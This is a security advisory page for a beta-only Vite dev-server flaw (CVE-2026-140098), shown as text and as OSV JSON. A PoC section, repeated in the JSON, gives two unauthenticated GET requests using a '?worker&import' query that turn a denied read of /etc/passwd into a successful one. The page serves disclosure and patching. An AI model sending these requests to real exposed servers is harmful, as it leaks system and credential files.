GHSA-QPPR-RXR4-JJQ2
Vulnerability from github – Published: 2026-12-01 19:02 – Updated: 2026-12-01 19:02[!IMPORTANT] This advisory only affects beta versions.
Summary
With 8.4.0-beta.1, the contents of files that are outside server.fs.allow and not included in server.fs.deny can be returned to the browser.
Impact
Only apps that match the following conditions are affected:
- explicitly exposes the Vite dev server to the network (using
--hostorserver.hostconfig option) - the sensitive file exists is not specified by server.fs.deny
- Uses v8.4.0-beta.1
Details
In 8.4.0-beta.1, a dev server can be made to serve any file outside server.fs.allow that is not matched by server.fs.deny, with two unauthenticated GET requests and no preconditions:
GET /@fs/<absolute-path>?worker&import. The worker plugin generates aWorkerWrappermodule whose body embeds the request-chosen path, and in doing so registers the absolute path inconfig.environments.client.safeModulePaths.GET /@fs/<absolute-path>200 with the file content. The safeModulePaths check short-circuits before thefs.allowcheck.
Only server.fs.deny matches keep working after registration. ?sharedworker&import triggers the same flow, and ?wasm / ?init&import / ?source&import queries register .wasm files the same way.
This is new in 8.4. The poisoning write (fileToDevUrl → safeModulePaths.addId) was introduced by commit https://github.com/vitejs/vite/commit/e258ce140eef64cf89ff38c410125abd8726f274 (https://github.com/vitejs/vite/pull/23168).
PoC
Minimal reproduction (two requests):
# 1) Before registration — correctly denied
GET /@fs/etc/passwd
-> 403 Restricted ("The request id /etc/passwd is outside...")
# 2) Register the path via the worker query
GET /@fs/etc/passwd?worker&import
-> 200
-> body: export default function WorkerWrapper(options) {
return new Worker("/@fs/etc/passwd?worker_file&type=module", ...)
}
# 3) Read — now allowed
GET /@fs/etc/passwd
-> 200 (text/javascript)
-> body: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:...
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "vite"
},
"ranges": [
{
"events": [
{
"introduced": "8.4.0-beta.1"
},
{
"fixed": "8.4.0-beta.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"8.4.0-beta.1"
]
}
],
"aliases": [
"CVE-2026-140098"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-01T19:02:48Z",
"nvd_published_at": "2026-11-30T23:17:24Z",
"severity": "MODERATE"
},
"details": "\u003e [!IMPORTANT]\n\u003e **This advisory only affects beta versions.**\n\n### Summary\n\nWith 8.4.0-beta.1, the contents of files that are outside [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow) and not included in [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser.\n\n### Impact\n\nOnly apps that match the following conditions are affected:\n\n- explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host))\n- the sensitive file exists is not specified by [server.fs.deny](https://vite.dev/config/server-options#server-fs-deny)\n- Uses v8.4.0-beta.1\n\n### Details\n\nIn 8.4.0-beta.1, a dev server can be made to serve any file outside `server.fs.allow` that is not matched by `server.fs.deny`, with two unauthenticated GET requests and no preconditions:\n\n1. `GET /@fs/\u003cabsolute-path\u003e?worker\u0026import`. The worker plugin generates a `WorkerWrapper` module whose body embeds the request-chosen path, and in doing so registers the absolute path in `config.environments.client.safeModulePaths`.\n2. `GET /@fs/\u003cabsolute-path\u003e` 200 with the file content. The safeModulePaths check short-circuits before the `fs.allow` check.\n\nOnly `server.fs.deny` matches keep working after registration. `?sharedworker\u0026import` triggers the same flow, and `?wasm` / `?init\u0026import` / `?source\u0026import` queries register `.wasm` files the same way.\n\nThis is new in 8.4. The poisoning write (`fileToDevUrl` \u2192 `safeModulePaths.addId`) was introduced by commit https://github.com/vitejs/vite/commit/e258ce140eef64cf89ff38c410125abd8726f274 (https://github.com/vitejs/vite/pull/23168).\n\n### PoC\n\nMinimal reproduction (two requests):\n\n```\n# 1) Before registration \u2014 correctly denied\nGET /@fs/etc/passwd\n-\u003e 403 Restricted (\"The request id /etc/passwd is outside...\")\n\n# 2) Register the path via the worker query\nGET /@fs/etc/passwd?worker\u0026import\n-\u003e 200\n-\u003e body: export default function WorkerWrapper(options) {\n return new Worker(\"/@fs/etc/passwd?worker_file\u0026type=module\", ...)\n }\n\n# 3) Read \u2014 now allowed\nGET /@fs/etc/passwd\n-\u003e 200 (text/javascript)\n-\u003e body: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:...\n```",
"id": "GHSA-qppr-rxr4-jjq2",
"modified": "2026-12-01T19:02:48Z",
"published": "2026-12-01T19:02:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/security/advisories/GHSA-qppr-rxr4-jjq2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140098"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/pull/23168"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/pull/24206"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/a78fb8a28db01e83611120012bd5d1189bab68aa"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/commit/e258ce140eef64cf89ff38c410125abd8726f274"
},
{
"type": "PACKAGE",
"url": "https://github.com/vitejs/vite"
},
{
"type": "WEB",
"url": "https://github.com/vitejs/vite/releases/tag/v8.4.0-beta.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Vite [beta only]: files otuside `server.fs.allow` and not included in `server.fs.deny` can be served by two requests using `?worker`"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.